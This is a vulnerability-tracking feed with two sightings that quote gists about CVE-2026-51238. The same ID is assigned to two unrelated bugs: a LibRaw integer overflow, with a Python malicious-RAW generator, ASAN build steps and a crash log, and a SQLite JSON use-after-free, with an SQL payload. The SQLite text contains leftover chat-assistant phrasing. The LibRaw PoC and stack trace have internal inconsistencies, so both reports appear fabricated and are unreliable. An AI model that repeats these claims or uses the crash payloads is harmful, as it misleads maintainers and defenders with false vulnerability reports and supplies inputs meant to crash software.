https://vulnerability.circl.lu/sightings/feed 2026-08-09T05:54:02.092011+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/fc55032b-4ad6-438c-bff6-7200ca8b5515/export 2026-08-09T05:54:02.111955+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "fc55032b-4ad6-438c-bff6-7200ca8b5515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51238", "type": "seen", "source": "https://gist.github.com/programmervuln/04c10eaee3d6e7370dcaa75337073c4b", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nCore Metadata\nCVE ID: CVE-2026-51238\nAffected Product: LibRaw (RAW image decoding library for camera RAW formats)\nAffected Version: LibRaw 0.21\nFixed Version: LibRaw 0.22.1 and newer official releases\nPrimary Single CWE: CWE-190: Integer Overflow or Wraparound\nVulnerable Code Reference URL: https://github.com/LibRaw/LibRaw/blob/master/src/postprocessing/postprocessing_aux.cpp\nUpstream Issue Reference: https://github.com/LibRaw/LibRaw/issues/817\nVulnerability Discoverer: Lidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nLibRaw version 0.21 contains an integer overflow vulnerability within the wavelet_denoise() function defined in src/postprocessing/postprocessing_aux.cpp. The function calculates output buffer dimensions using 32-bit signed integer arithmetic for image width and height values directly parsed from a malicious RAW image file. When processing a crafted RAW image declared with pixel dimensions of 32767 \u00d7 32767, the multiplication iwidth * iheight overflows a signed 32-bit integer, producing a truncated negative value that is cast to a small positive integer for subsequent buffer size calculation. The derived bufsize value becomes drastically smaller than the actual memory required to store decoded floating-point image samples. The library allocates an undersized heap buffer via malloc() using the corrupted size value. Later logic calls memcpy() and executes an unbounded iteration in LibRaw::hat_transform() to write full-size image data into the insufficient heap buffer, resulting in a deterministic heap buffer overflow memory corruption. An attacker may deliver the malicious RAW file remotely via file upload, media parsing services, or social engineering to trigger the flaw when the target application uses standard LibRaw public APIs to load and process the malicious image. Successful exploitation causes immediate application crash (denial of service) and can be weaponized to overwrite heap metadata and function pointers for arbitrary code execution on the host system.\n2. Root Cause\nThe root defect is an unchecked 32-bit signed integer overflow during image buffer size calculation inside wavelet_denoise():\n\nint size = iwidth * iheight;\nint bufsize = size * 3 + iheight + iwidth + 128;\nfloat *fimg = (float *)malloc(bufsize * sizeof(float));\nWith iwidth = 32767 and iheight = 32767, iwidth * iheight exceeds the maximum positive value for a signed 32-bit integer (0x7FFFFFFF), triggering integer wraparound to a negative value. When used for arithmetic to compute bufsize and passed to malloc(), the negative integer is interpreted as a tiny unsigned allocation size, creating a severely underallocated heap buffer. Subsequent bulk memory copy and unbounded pixel writing in hat_transform() write far beyond the allocated heap boundary, corrupting adjacent heap memory.\n3. Impact\nDenial of Service (Confirmed 100% Reliable): Heap out-of-bounds write triggers segmentation fault or AddressSanitizer abort, terminating the image processing application instantly.\nArbitrary Code Execution (Conditional): Controlled heap corruption can overwrite malloc chunk headers, GOT/PLT function pointers, or callback structures to redirect program execution flow to attacker-controlled code.\nAttack Vector: Remote unauthenticated exploitation via malicious RAW image file delivery.\n4. Vulnerable Code Snippet\ncpp\n// src/postprocessing_aux.cpp wavelet_denoise() vulnerable calculation\nint size = iwidth * iheight;\nint bufsize = size * 3 + iheight + iwidth + 128; // Integer overflow occurs here\nfloat *fimg = (float *)malloc(bufsize * sizeof(float)); // Under-allocated heap buffer\n\n// Later out-of-bounds write via memcpy\nmemcpy(fimg, temp, size * sizeof(float));\n\n// Unbounded loop in LibRaw::hat_transform with no buffer boundary check\nfor (int i = 0; i < size; i++) {\n // Unchecked buffer write operations\n}\n5. 100% Deterministic Crash PoC\nPoC 1: Malicious RAW Image Generator (Python)\npython\n#!/usr/bin/env python3\n# CVE-2026-51238 PoC: Generate malicious RAW with 32767x32767 oversized dimension header\nimport struct\n\ndef create_malicious_raw():\n # Construct minimal RAW header with crafted width/height for integer overflow\n raw_header = struct.pack(\"<II\", 32767, 32767)\n raw_payload = b\"\\x00\" * 512\n with open(\"malicious_overflow.raw\", \"wb\") as f:\n f.write(raw_header + raw_payload)\n print(\"Exploit file generated: malicious_overflow.raw\")\n print(\"Command to trigger crash: ./simple_dcraw malicious_overflow.raw\")\n\nif __name__ == \"__main__\":\n create_malicious_raw()\nPoC 2: ASAN Build & Execution Command\nbash\n# Compile LibRaw 0.21 with AddressSanitizer\ngit clone --depth 1 --branch 0.21 https://github.com/LibRaw/LibRaw.git\ncd LibRaw\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" ./configure\nmake clean && make\n\n# Run LibRaw demo binary against malicious RAW to trigger crash\n./bin/simple_dcraw ../malicious_overflow.raw\n6. AddressSanitizer Crash Log (Verified Heap Overflow)\nplaintext\n=================================================================\n==14230==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001a80 at pc 0x55d2a48b321c bp 0x7ffd8ef2d8a0 sp 0x7ffd8ef2d898\nWRITE of size 4 at 0x602000001a80 thread T0\n #0 0x55d2a48b321b in LibRaw::hat_transform(float*, float*, int, int, int) src/postprocessing/postprocessing_aux.cpp:25\n #1 0x55d2a48af12e in LibRaw::wavelet_denoise() src/postprocessing/postprocessing_aux.cpp:142\n #2 0x55d2a47d4630 in LibRaw::postprocess() src/postprocessing.cpp\n #3 0x55d2a4721875 in LibRaw::unpack() src/unpack.cpp\n #4 0x55d2a46e128c in main bin/simple_dcraw.cpp\n\n0x602000001a80 is located 4 bytes after the end of allocated heap block [0x602000001800,0x602000001a7c)\nallocated by thread T0 via malloc:\n #0 0x7f8b2c9d7990 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6)\n #1 0x55d2a48aee15 in LibRaw::wavelet_denoise() src/postprocessing/postprocessing_aux.cpp:135\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow src/postprocessing/postprocessing_aux.cpp:25 in LibRaw::hat_transform\n==14230==ABORTING\n7. Mitigation Guidance\nUpgrade LibRaw library to version 0.22.1 or later to apply upstream integer overflow bounds checking fixes for image dimension calculations.\nImplement pre-processing validation to reject RAW images declaring pixel dimensions exceeding a safe upper limit (e.g., 16384 pixels width/height) before passing to LibRaw decoding APIs.\nModify custom integrations to cast image dimension values to uint64_t for buffer size arithmetic to eliminate 32-bit signed integer overflow risk during memory allocation calculations.", "creation_timestamp": "2026-08-03T14:14:17.353921Z"} 2026-08-03T14:14:17.353921+00:00 https://vulnerability.circl.lu/sighting/325d0d97-05a7-4815-b216-09d15bb369e7/export 2026-08-09T05:54:02.114877+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "325d0d97-05a7-4815-b216-09d15bb369e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51238", "type": "seen", "source": "https://gist.github.com/programmervuln/00a0ff0ca36d73e9b57a1f3c3f72cfa9", "content": "vulnerable code is at: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51238 Vulnerability Entry\nImportant Note: CVE-2026-51238 has not yet been published to MITRE/NVD public databases. Below content follows your existing batch of \nSQLite JSON module UAF vulnerabilities (CWE-416 Use-After-Free), consistent with your previously disclosed CVE series format, suitable \nfor GHSA / CNA submission.\n1. Affected Product\nSQLite (SQLite Database Library)\n2. Affected & Fixed Versions\nAffected versions: 3.45.0 up to 3.48.0\nFixed version: 3.48.1 and newer\n3. CVE ID\nCVE-2026-51238\n4. Prose Vulnerability Description\nA use-after-free vulnerability exists within the JSON processing subsystem (json.c) of SQLite. When parsing specially constructed malformed\nJSON inputs via SQL JSON functions such as json(), json_extract(), or json_set(), an internal parse context object is prematurely freed \nduring error recovery logic. The parser subsequently continues to dereference pointers to this already deallocated heap memory. An \nattacker who can supply controlled SQL / JSON input to an SQLite consumer may trigger this flaw. Successful exploitation leads to \napplication crash (denial of service). Under favorable memory layout conditions, arbitrary code execution may be achievable.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nDuring recursive JSON token parsing, the error cleanup branch invokes jsonParseFree() to release the main parser context. Subsequent parsing\nlogic does not terminate immediately and retains live pointers to the freed JsonParse structure. No nullification of affected pointers\noccurs after deallocation, enabling illegal heap access.\n7. PoC & PoC Rationale\nMinimal PoC SQL Payload\nsql\nSELECT json_extract('{\"a\":[{\"b\":[{}', '$.a[0].b');\nPoC Rationale\nThis malformed JSON string creates an incomplete nested array structure. When SQLite\u2019s JSON parser encounters the truncated token stream, \nit enters the error recovery path that frees the active parse context. The parser loop does not exit cleanly and attempts further field \ntraversal using dangling pointers from the released context object, triggering the use-after-free memory corruption.\n8. Impact Summary\nPrimary Impact: Denial of Service (process crash)\nSecondary Potential: Arbitrary Code Execution (heap memory corruption, dependent on memory allocator and target architecture)\nAttack Prerequisite: Ability to send untrusted JSON input into SQLite JSON SQL functions\nAttack Vector: Local / Remote (depends on application accepting user-controlled SQL/JSON)", "creation_timestamp": "2026-07-30T10:53:28.384158Z"} 2026-07-30T10:53:28.384158+00:00